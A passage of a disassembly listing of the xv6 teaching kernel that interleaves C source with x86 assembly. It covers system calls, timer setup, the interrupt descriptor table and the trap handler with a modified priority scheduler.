8b 45 f4 mov -0xc(%ebp),%eax 8010720b: 89 4c 24 08 mov %ecx,0x8(%esp) 8010720f: 89 54 24 04 mov %edx,0x4(%esp) 80107213: 89 04 24 mov %eax,(%esp) 80107216: e8 b0 e7 ff ff call 801059cb <wait2> } 8010721b: c9 leave 8010721c: c3 ret 8010721d <sys_set_prio>: int sys_set_prio(void) { 8010721d: 55 push %ebp 8010721e: 89 e5 mov %esp,%ebp 80107220: 83 ec 28 sub $0x28,%esp int priority; if (argint(0,&priority) <0) 80107223: 8d 45 f4 lea -0xc(%ebp),%eax 80107226: 89 44 24 04 mov %eax,0x4(%esp) 8010722a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80107231: e8 20 ef ff ff call 80106156 <argint> 80107236: 85 c0 test %eax,%eax 80107238: 79 07 jns 80107241 <sys_set_prio+0x24> return -1; 8010723a: b8 ff ff ff ff mov $0xffffffff,%eax 8010723f: eb 0b jmp 8010724c <sys_set_prio+0x2f> return set_prio(priority); 80107241: 8b 45 f4 mov -0xc(%ebp),%eax 80107244: 89 04 24 mov %eax,(%esp) 80107247: e8 ec e8 ff ff call 80105b38 <set_prio> } 8010724c: c9 leave 8010724d: c3 ret 8010724e <sys_yield>: int sys_yield(void) { 8010724e: 55 push %ebp 8010724f: 89 e5 mov %esp,%ebp 80107251: 83 ec 08 sub $0x8,%esp yield(); 80107254: e8 f5 e3 ff ff call 8010564e <yield> return 0; 80107259: b8 00 00 00 00 mov $0x0,%eax } 8010725e: c9 leave 8010725f: c3 ret 80107260 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80107260: 55 push %ebp 80107261: 89 e5 mov %esp,%ebp 80107263: 83 ec 08 sub $0x8,%esp 80107266: 8b 55 08 mov 0x8(%ebp),%edx 80107269: 8b 45 0c mov 0xc(%ebp),%eax 8010726c: 66 89 55 fc mov %dx,-0x4(%ebp) 80107270: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80107273: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80107277: 0f b7 55 fc movzwl -0x4(%ebp),%edx 8010727b: ee out %al,(%dx) } 8010727c: c9 leave 8010727d: c3 ret 8010727e <timerinit>: #define TIMER_RATEGEN 0x04 // mode 2, rate generator #define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first void timerinit(void) { 8010727e: 55 push %ebp 8010727f: 89 e5 mov %esp,%ebp 80107281: 83 ec 18 sub $0x18,%esp // Interrupt 100 times/sec. outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT); 80107284: c7 44 24 04 34 00 00 movl $0x34,0x4(%esp) 8010728b: 00 8010728c: c7 04 24 43 00 00 00 movl $0x43,(%esp) 80107293: e8 c8 ff ff ff call 80107260 <outb> outb(IO_TIMER1, TIMER_DIV(100) % 256); 80107298: c7 44 24 04 9c 00 00 movl $0x9c,0x4(%esp) 8010729f: 00 801072a0: c7 04 24 40 00 00 00 movl $0x40,(%esp) 801072a7: e8 b4 ff ff ff call 80107260 <outb> outb(IO_TIMER1, TIMER_DIV(100) / 256); 801072ac: c7 44 24 04 2e 00 00 movl $0x2e,0x4(%esp) 801072b3: 00 801072b4: c7 04 24 40 00 00 00 movl $0x40,(%esp) 801072bb: e8 a0 ff ff ff call 80107260 <outb> picenable(IRQ_TIMER); 801072c0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801072c7: e8 09 d4 ff ff call 801046d5 <picenable> } 801072cc: c9 leave 801072cd: c3 ret ... 801072d0 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 801072d0: 1e push %ds pushl %es 801072d1: 06 push %es pushl %fs 801072d2: 0f a0 push %fs pushl %gs 801072d4: 0f a8 push %gs pushal 801072d6: 60 pusha # Set up data and per-cpu segments. movw $(SEG_KDATA<<3), %ax 801072d7: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 801072db: 8e d8 mov %eax,%ds movw %ax, %es 801072dd: 8e c0 mov %eax,%es movw $(SEG_KCPU<<3), %ax 801072df: 66 b8 18 00 mov $0x18,%ax movw %ax, %fs 801072e3: 8e e0 mov %eax,%fs movw %ax, %gs 801072e5: 8e e8 mov %eax,%gs # Call trap(tf), where tf=%esp pushl %esp 801072e7: 54 push %esp call trap 801072e8: e8 de 01 00 00 call 801074cb <trap> addl $4, %esp 801072ed: 83 c4 04 add $0x4,%esp 801072f0 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 801072f0: 61 popa popl %gs 801072f1: 0f a9 pop %gs popl %fs 801072f3: 0f a1 pop %fs popl %es 801072f5: 07 pop %es popl %ds 801072f6: 1f pop %ds addl $0x8, %esp # trapno and errcode 801072f7: 83 c4 08 add $0x8,%esp iret 801072fa: cf iret ... 801072fc <lidt>: struct gatedesc; static inline void lidt(struct gatedesc *p, int size) { 801072fc: 55 push %ebp 801072fd: 89 e5 mov %esp,%ebp 801072ff: 83 ec 10 sub $0x10,%esp volatile ushort pd[3]; pd[0] = size-1; 80107302: 8b 45 0c mov 0xc(%ebp),%eax 80107305: 83 e8 01 sub $0x1,%eax 80107308: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 8010730c: 8b 45 08 mov 0x8(%ebp),%eax 8010730f: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80107313: 8b 45 08 mov 0x8(%ebp),%eax 80107316: c1 e8 10 shr $0x10,%eax 80107319: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010731d: 8d 45 fa lea -0x6(%ebp),%eax 80107320: 0f 01 18 lidtl (%eax) } 80107323: c9 leave 80107324: c3 ret 80107325 <rcr2>: return result; } static inline uint rcr2(void) { 80107325: 55 push %ebp 80107326: 89 e5 mov %esp,%ebp 80107328: 53 push %ebx 80107329: 83 ec 10 sub $0x10,%esp uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 8010732c: 0f 20 d3 mov %cr2,%ebx 8010732f: 89 5d f8 mov %ebx,-0x8(%ebp) return val; 80107332: 8b 45 f8 mov -0x8(%ebp),%eax } 80107335: 83 c4 10 add $0x10,%esp 80107338: 5b pop %ebx 80107339: 5d pop %ebp 8010733a: c3 ret 8010733b <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 8010733b: 55 push %ebp 8010733c: 89 e5 mov %esp,%ebp 8010733e: 83 ec 28 sub $0x28,%esp int i; for(i = 0; i < 256; i++) 80107341: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80107348: e9 c3 00 00 00 jmp 80107410 <tvinit+0xd5> SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 8010734d: 8b 45 f4 mov -0xc(%ebp),%eax 80107350: 8b 04 85 a4 c0 10 80 mov -0x7fef3f5c(,%eax,4),%eax 80107357: 89 c2 mov %eax,%edx 80107359: 8b 45 f4 mov -0xc(%ebp),%eax 8010735c: 66 89 14 c5 20 66 11 mov %dx,-0x7fee99e0(,%eax,8) 80107363: 80 80107364: 8b 45 f4 mov -0xc(%ebp),%eax 80107367: 66 c7 04 c5 22 66 11 movw $0x8,-0x7fee99de(,%eax,8) 8010736e: 80 08 00 80107371: 8b 45 f4 mov -0xc(%ebp),%eax 80107374: 0f b6 14 c5 24 66 11 movzbl -0x7fee99dc(,%eax,8),%edx 8010737b: 80 8010737c: 83 e2 e0 and $0xffffffe0,%edx 8010737f: 88 14 c5 24 66 11 80 mov %dl,-0x7fee99dc(,%eax,8) 80107386: 8b 45 f4 mov -0xc(%ebp),%eax 80107389: 0f b6 14 c5 24 66 11 movzbl -0x7fee99dc(,%eax,8),%edx 80107390: 80 80107391: 83 e2 1f and $0x1f,%edx 80107394: 88 14 c5 24 66 11 80 mov %dl,-0x7fee99dc(,%eax,8) 8010739b: 8b 45 f4 mov -0xc(%ebp),%eax 8010739e: 0f b6 14 c5 25 66 11 movzbl -0x7fee99db(,%eax,8),%edx 801073a5: 80 801073a6: 83 e2 f0 and $0xfffffff0,%edx 801073a9: 83 ca 0e or $0xe,%edx 801073ac: 88 14 c5 25 66 11 80 mov %dl,-0x7fee99db(,%eax,8) 801073b3: 8b 45 f4 mov -0xc(%ebp),%eax 801073b6: 0f b6 14 c5 25 66 11 movzbl -0x7fee99db(,%eax,8),%edx 801073bd: 80 801073be: 83 e2 ef and $0xffffffef,%edx 801073c1: 88 14 c5 25 66 11 80 mov %dl,-0x7fee99db(,%eax,8) 801073c8: 8b 45 f4 mov -0xc(%ebp),%eax 801073cb: 0f b6 14 c5 25 66 11 movzbl -0x7fee99db(,%eax,8),%edx 801073d2: 80 801073d3: 83 e2 9f and $0xffffff9f,%edx 801073d6: 88 14 c5 25 66 11 80 mov %dl,-0x7fee99db(,%eax,8) 801073dd: 8b 45 f4 mov -0xc(%ebp),%eax 801073e0: 0f b6 14 c5 25 66 11 movzbl -0x7fee99db(,%eax,8),%edx 801073e7: 80 801073e8: 83 ca 80 or $0xffffff80,%edx 801073eb: 88 14 c5 25 66 11 80 mov %dl,-0x7fee99db(,%eax,8) 801073f2: 8b 45 f4 mov -0xc(%ebp),%eax 801073f5: 8b 04 85 a4 c0 10 80 mov -0x7fef3f5c(,%eax,4),%eax 801073fc: c1 e8 10 shr $0x10,%eax 801073ff: 89 c2 mov %eax,%edx 80107401: 8b 45 f4 mov -0xc(%ebp),%eax 80107404: 66 89 14 c5 26 66 11 mov %dx,-0x7fee99da(,%eax,8) 8010740b: 80 void tvinit(void) { int i; for(i = 0; i < 256; i++) 8010740c: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80107410: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp) 80107417: 0f 8e 30 ff ff ff jle 8010734d <tvinit+0x12> SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 8010741d: a1 a4 c1 10 80 mov 0x8010c1a4,%eax 80107422: 66 a3 20 68 11 80 mov %ax,0x80116820 80107428: 66 c7 05 22 68 11 80 movw $0x8,0x80116822 8010742f: 08 00 80107431: 0f b6 05 24 68 11 80 movzbl 0x80116824,%eax 80107438: 83 e0 e0 and $0xffffffe0,%eax 8010743b: a2 24 68 11 80 mov %al,0x80116824 80107440: 0f b6 05 24 68 11 80 movzbl 0x80116824,%eax 80107447: 83 e0 1f and $0x1f,%eax 8010744a: a2 24 68 11 80 mov %al,0x80116824 8010744f: 0f b6 05 25 68 11 80 movzbl 0x80116825,%eax 80107456: 83 c8 0f or $0xf,%eax 80107459: a2 25 68 11 80 mov %al,0x80116825 8010745e: 0f b6 05 25 68 11 80 movzbl 0x80116825,%eax 80107465: 83 e0 ef and $0xffffffef,%eax 80107468: a2 25 68 11 80 mov %al,0x80116825 8010746d: 0f b6 05 25 68 11 80 movzbl 0x80116825,%eax 80107474: 83 c8 60 or $0x60,%eax 80107477: a2 25 68 11 80 mov %al,0x80116825 8010747c: 0f b6 05 25 68 11 80 movzbl 0x80116825,%eax 80107483: 83 c8 80 or $0xffffff80,%eax 80107486: a2 25 68 11 80 mov %al,0x80116825 8010748b: a1 a4 c1 10 80 mov 0x8010c1a4,%eax 80107490: c1 e8 10 shr $0x10,%eax 80107493: 66 a3 26 68 11 80 mov %ax,0x80116826 initlock(&tickslock, "time"); 80107499: c7 44 24 04 78 97 10 movl $0x80109778,0x4(%esp) 801074a0: 80 801074a1: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 801074a8: e8 dd e6 ff ff call 80105b8a <initlock> } 801074ad: c9 leave 801074ae: c3 ret 801074af <idtinit>: void idtinit(void) { 801074af: 55 push %ebp 801074b0: 89 e5 mov %esp,%ebp 801074b2: 83 ec 08 sub $0x8,%esp lidt(idt, sizeof(idt)); 801074b5: c7 44 24 04 00 08 00 movl $0x800,0x4(%esp) 801074bc: 00 801074bd: c7 04 24 20 66 11 80 movl $0x80116620,(%esp) 801074c4: e8 33 fe ff ff call 801072fc <lidt> } 801074c9: c9 leave 801074ca: c3 ret 801074cb <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 801074cb: 55 push %ebp 801074cc: 89 e5 mov %esp,%ebp 801074ce: 57 push %edi 801074cf: 56 push %esi 801074d0: 53 push %ebx 801074d1: 83 ec 3c sub $0x3c,%esp if(tf->trapno == T_SYSCALL){ 801074d4: 8b 45 08 mov 0x8(%ebp),%eax 801074d7: 8b 40 30 mov 0x30(%eax),%eax 801074da: 83 f8 40 cmp $0x40,%eax 801074dd: 75 3e jne 8010751d <trap+0x52> if(proc->killed) 801074df: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801074e5: 8b 40 24 mov 0x24(%eax),%eax 801074e8: 85 c0 test %eax,%eax 801074ea: 74 05 je 801074f1 <trap+0x26> exit(); 801074ec: e8 d5 db ff ff call 801050c6 <exit> proc->tf = tf; 801074f1: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801074f7: 8b 55 08 mov 0x8(%ebp),%edx 801074fa: 89 50 18 mov %edx,0x18(%eax) syscall(); 801074fd: e8 1b ed ff ff call 8010621d <syscall> if(proc->killed) 80107502: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107508: 8b 40 24 mov 0x24(%eax),%eax 8010750b: 85 c0 test %eax,%eax 8010750d: 0f 84 8e 02 00 00 je 801077a1 <trap+0x2d6> exit(); 80107513: e8 ae db ff ff call 801050c6 <exit> return; 80107518: e9 84 02 00 00 jmp 801077a1 <trap+0x2d6> } switch(tf->trapno){ 8010751d: 8b 45 08 mov 0x8(%ebp),%eax 80107520: 8b 40 30 mov 0x30(%eax),%eax 80107523: 83 e8 20 sub $0x20,%eax 80107526: 83 f8 1f cmp $0x1f,%eax 80107529: 0f 87 c1 00 00 00 ja 801075f0 <trap+0x125> 8010752f: 8b 04 85 20 98 10 80 mov -0x7fef67e0(,%eax,4),%eax 80107536: ff e0 jmp *%eax case T_IRQ0 + IRQ_TIMER: if(cpu->id == 0){ 80107538: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010753e: 0f b6 00 movzbl (%eax),%eax 80107541: 84 c0 test %al,%al 80107543: 75 36 jne 8010757b <trap+0xb0> acquire(&tickslock); 80107545: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 8010754c: e8 5a e6 ff ff call 80105bab <acquire> ticks++; 80107551: a1 20 6e 11 80 mov 0x80116e20,%eax 80107556: 83 c0 01 add $0x1,%eax 80107559: a3 20 6e 11 80 mov %eax,0x80116e20 updateTimes(); // after every tick - updates the times 8010755e: e8 e7 e3 ff ff call 8010594a <updateTimes> wakeup(&ticks); 80107563: c7 04 24 20 6e 11 80 movl $0x80116e20,(%esp) 8010756a: e8 39 e2 ff ff call 801057a8 <wakeup> release(&tickslock); 8010756f: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 80107576: e8 92 e6 ff ff call 80105c0d <release> } lapiceoi(); 8010757b: e8 6b c2 ff ff call 801037eb <lapiceoi> break; 80107580: e9 41 01 00 00 jmp 801076c6 <trap+0x1fb> case T_IRQ0 + IRQ_IDE: ideintr(); 80107585: e8 42 ba ff ff call 80102fcc <ideintr> lapiceoi(); 8010758a: e8 5c c2 ff ff call 801037eb <lapiceoi> break; 8010758f: e9 32 01 00 00 jmp 801076c6 <trap+0x1fb> case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; case T_IRQ0 + IRQ_KBD: kbdintr(); 80107594: e8 06 c0 ff ff call 8010359f <kbdintr> lapiceoi(); 80107599: e8 4d c2 ff ff call 801037eb <lapiceoi> break; 8010759e: e9 23 01 00 00 jmp 801076c6 <trap+0x1fb> case T_IRQ0 + IRQ_COM1: uartintr(); 801075a3: e8 00 04 00 00 call 801079a8 <uartintr> lapiceoi(); 801075a8: e8 3e c2 ff ff call 801037eb <lapiceoi> break; 801075ad: e9 14 01 00 00 jmp 801076c6 <trap+0x1fb> case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", cpu->id, tf->cs, tf->eip); 801075b2: 8b 45 08 mov 0x8(%ebp),%eax uartintr(); lapiceoi(); break; case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 801075b5: 8b 48 38 mov 0x38(%eax),%ecx cpu->id, tf->cs, tf->eip); 801075b8: 8b 45 08 mov 0x8(%ebp),%eax 801075bb: 0f b7 40 3c movzwl 0x3c(%eax),%eax uartintr(); lapiceoi(); break; case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 801075bf: 0f b7 d0 movzwl %ax,%edx cpu->id, tf->cs, tf->eip); 801075c2: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801075c8: 0f b6 00 movzbl (%eax),%eax uartintr(); lapiceoi(); break; case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 801075cb: 0f b6 c0 movzbl %al,%eax 801075ce: 89 4c 24 0c mov %ecx,0xc(%esp) 801075d2: 89 54 24 08 mov %edx,0x8(%esp) 801075d6: 89 44 24 04 mov %eax,0x4(%esp) 801075da: c7 04 24 80 97 10 80 movl $0x80109780,(%esp) 801075e1: e8 bb 8d ff ff call 801003a1 <cprintf> cpu->id, tf->cs, tf->eip); lapiceoi(); 801075e6: e8 00 c2 ff ff call 801037eb <lapiceoi> break; 801075eb: e9 d6 00 00 00 jmp 801076c6 <trap+0x1fb> //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ 801075f0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801075f6: 85 c0 test %eax,%eax 801075f8: 74 11 je 8010760b <trap+0x140> 801075fa: 8b 45 08 mov 0x8(%ebp),%eax 801075fd: 0f b7 40 3c movzwl 0x3c(%eax),%eax 80107601: 0f b7 c0 movzwl %ax,%eax 80107604: 83 e0 03 and $0x3,%eax 80107607: 85 c0 test %eax,%eax 80107609: 75 46 jne 80107651 <trap+0x186> // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 8010760b: e8 15 fd ff ff call 80107325 <rcr2> tf->trapno, cpu->id, tf->eip, rcr2()); 80107610: 8b 55 08 mov 0x8(%ebp),%edx //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80107613: 8b 5a 38 mov 0x38(%edx),%ebx tf->trapno, cpu->id, tf->eip, rcr2()); 80107616: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 8010761d: 0f b6 12 movzbl (%edx),%edx //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80107620: 0f b6 ca movzbl %dl,%ecx tf->trapno, cpu->id, tf->eip, rcr2()); 80107623: 8b 55 08 mov 0x8(%ebp),%edx //PAGEBREAK: 13 default: if(proc == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80107626: 8b 52 30 mov 0x30(%edx),%edx 80107629: 89 44 24 10 mov %eax,0x10(%esp) 8010762d: 89 5c 24 0c mov %ebx,0xc(%esp) 80107631: 89 4c 24 08 mov %ecx,0x8(%esp) 80107635: 89 54 24 04 mov %edx,0x4(%esp) 80107639: c7 04 24 a4 97 10 80 movl $0x801097a4,(%esp) 80107640: e8 5c 8d ff ff call 801003a1 <cprintf> tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); 80107645: c7 04 24 d6 97 10 80 movl $0x801097d6,(%esp) 8010764c: e8 ec 8e ff ff call 8010053d <panic> } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80107651: e8 cf fc ff ff call 80107325 <rcr2> 80107656: 89 c2 mov %eax,%edx "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 80107658: 8b 45 08 mov 0x8(%ebp),%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 8010765b: 8b 78 38 mov 0x38(%eax),%edi "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 8010765e: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80107664: 0f b6 00 movzbl (%eax),%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80107667: 0f b6 f0 movzbl %al,%esi "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 8010766a: 8b 45 08 mov 0x8(%ebp),%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 8010766d: 8b 58 34 mov 0x34(%eax),%ebx "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 80107670: 8b 45 08 mov 0x8(%ebp),%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80107673: 8b 48 30 mov 0x30(%eax),%ecx "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, 80107676: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010767c: 83 c0 6c add $0x6c,%eax 8010767f: 89 45 e4 mov %eax,-0x1c(%ebp) 80107682: 65 a1 04 00 00 00 mov %gs:0x4,%eax cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpu->id, tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80107688: 8b 40 10 mov 0x10(%eax),%eax 8010768b: 89 54 24 1c mov %edx,0x1c(%esp) 8010768f: 89 7c 24 18 mov %edi,0x18(%esp) 80107693: 89 74 24 14 mov %esi,0x14(%esp) 80107697: 89 5c 24 10 mov %ebx,0x10(%esp) 8010769b: 89 4c 24 0c mov %ecx,0xc(%esp) 8010769f: 8b 55 e4 mov -0x1c(%ebp),%edx 801076a2: 89 54 24 08 mov %edx,0x8(%esp) 801076a6: 89 44 24 04 mov %eax,0x4(%esp) 801076aa: c7 04 24 dc 97 10 80 movl $0x801097dc,(%esp) 801076b1: e8 eb 8c ff ff call 801003a1 <cprintf> "eip 0x%x addr 0x%x--kill proc\n", proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip, rcr2()); proc->killed = 1; 801076b6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801076bc: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 801076c3: eb 01 jmp 801076c6 <trap+0x1fb> ideintr(); lapiceoi(); break; case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; 801076c5: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(proc && proc->killed && (tf->cs&3) == DPL_USER) 801076c6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801076cc: 85 c0 test %eax,%eax 801076ce: 74 24 je 801076f4 <trap+0x229> 801076d0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801076d6: 8b 40 24 mov 0x24(%eax),%eax 801076d9: 85 c0 test %eax,%eax 801076db: 74 17 je 801076f4 <trap+0x229> 801076dd: 8b 45 08 mov 0x8(%ebp),%eax 801076e0: 0f b7 40 3c movzwl 0x3c(%eax),%eax 801076e4: 0f b7 c0 movzwl %ax,%eax 801076e7: 83 e0 03 and $0x3,%eax 801076ea: 83 f8 03 cmp $0x3,%eax 801076ed: 75 05 jne 801076f4 <trap+0x229> exit(); 801076ef: e8 d2 d9 ff ff call 801050c6 <exit> // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER && ticks%QUANTA==0){ 801076f4: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801076fa: 85 c0 test %eax,%eax 801076fc: 74 73 je 80107771 <trap+0x2a6> 801076fe: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107704: 8b 40 0c mov 0xc(%eax),%eax 80107707: 83 f8 04 cmp $0x4,%eax 8010770a: 75 65 jne 80107771 <trap+0x2a6> 8010770c: 8b 45 08 mov 0x8(%ebp),%eax 8010770f: 8b 40 30 mov 0x30(%eax),%eax 80107712: 83 f8 20 cmp $0x20,%eax 80107715: 75 5a jne 80107771 <trap+0x2a6> 80107717: 8b 0d 20 6e 11 80 mov 0x80116e20,%ecx 8010771d: ba cd cc cc cc mov $0xcccccccd,%edx 80107722: 89 c8 mov %ecx,%eax 80107724: f7 e2 mul %edx 80107726: c1 ea 02 shr $0x2,%edx 80107729: 89 d0 mov %edx,%eax 8010772b: c1 e0 02 shl $0x2,%eax 8010772e: 01 d0 add %edx,%eax 80107730: 89 ca mov %ecx,%edx 80107732: 29 c2 sub %eax,%edx 80107734: 85 d2 test %edx,%edx 80107736: 75 39 jne 80107771 <trap+0x2a6> #if SCHEDFLAG == DML proc->priority=(proc->priority==MIN_PRIORITY)? MIN_PRIORITY : proc->priority-1; 80107738: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 8010773f: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107745: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 8010774b: 83 f8 01 cmp $0x1,%eax 8010774e: 74 11 je 80107761 <trap+0x296> 80107750: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107756: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 8010775c: 83 e8 01 sub $0x1,%eax 8010775f: eb 05 jmp 80107766 <trap+0x29b> 80107761: b8 01 00 00 00 mov $0x1,%eax 80107766: 89 82 8c 00 00 00 mov %eax,0x8c(%edx) #endif yield(); 8010776c: e8 dd de ff ff call 8010564e <yield> } // Check if the process has been killed since we yielded if(proc && proc->killed && (tf->cs&3) == DPL_USER) 80107771: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107777: 85 c0 test %eax,%eax 80107779: 74 27 je 801077a2 <trap+0x2d7> 8010777b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107781: 8b 40 24 mov 0x24(%eax),%eax 80107784: 85 c0 test %eax,%eax 80107786: 74 1a je 801077a2 <trap+0x2d7> 80107788: 8b 45 08 mov 0x8(%ebp),%eax 8010778b: 0f b7 40 3c movzwl 0x3c(%eax),%eax 8010778f: 0f b7 c0 movzwl %ax,%eax 80107792: 83 e0 03 and $0x3,%eax 80107795: 83 f8 03 cmp $0x3,%eax 80107798: 75 08 jne 801077a2 <trap+0x2d7> exit(); 8010779a: e8 27 d9 ff ff call 801050c6 <exit> 8010779f: eb 01 jmp 801077a2 <trap+0x2d7> exit(); proc->tf = tf; syscall(); if(proc->killed) exit(); return; 801077a1: 90 nop } // Check if the process has been killed since we yielded if(proc && proc->killed && (tf->cs&3) == DPL_USER) exit(); } 801077a2: 83 c4 3c add $0x3c,%esp 801077a5: 5b pop %ebx 801077a6: 5e pop %esi 801077a7: 5f pop %edi 801077a8: 5d pop %ebp 801077a9: c3 ret ... 801077ac <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 801077ac: 55 push %ebp 801077ad: 89 e5 mov %esp,%ebp 801077af: 53 push %ebx 801077b0: 83 ec 14 sub $0x14,%esp 801077b3: 8b 45 08 mov 0x8(%ebp),%eax 801077b6: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801077ba: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 801077be: 66 89 55 ea mov %dx,-0x16(%ebp) 801077c2: 0f b7 55 ea movzwl -0x16(%ebp),%edx 801077c6: ec in (%dx),%al 801077c7: 89 c3 mov %eax,%ebx 801077c9: 88 5d fb mov %bl,-0x5(%ebp) return data; 801077cc: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 801077d0: 83 c4 14 add $0x14,%esp 801077d3: 5b pop %ebx 801077d4: 5d pop %ebp 801077d5: c3 ret 801077d6 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 801077d6: 55 push %ebp 801077d7: 89 e5 mov %esp,%ebp 801077d9: 83 ec 08 sub $0x8,%esp 801077dc: 8b 55 08 mov 0x8(%ebp),%edx 801077df: 8b 45 0c mov 0xc(%ebp),%eax 801077e2: 66 89 55 fc mov %dx,-0x4(%ebp) 801077e6: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801077e9: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 801077ed: 0f b7 55 fc movzwl -0x4(%ebp),%edx 801077f1: ee out %al,(%dx) } 801077f2: c9 leave 801077f3: c3 ret 801077f4 <uartinit>: static int uart; // is there a uart? void uartinit(void) 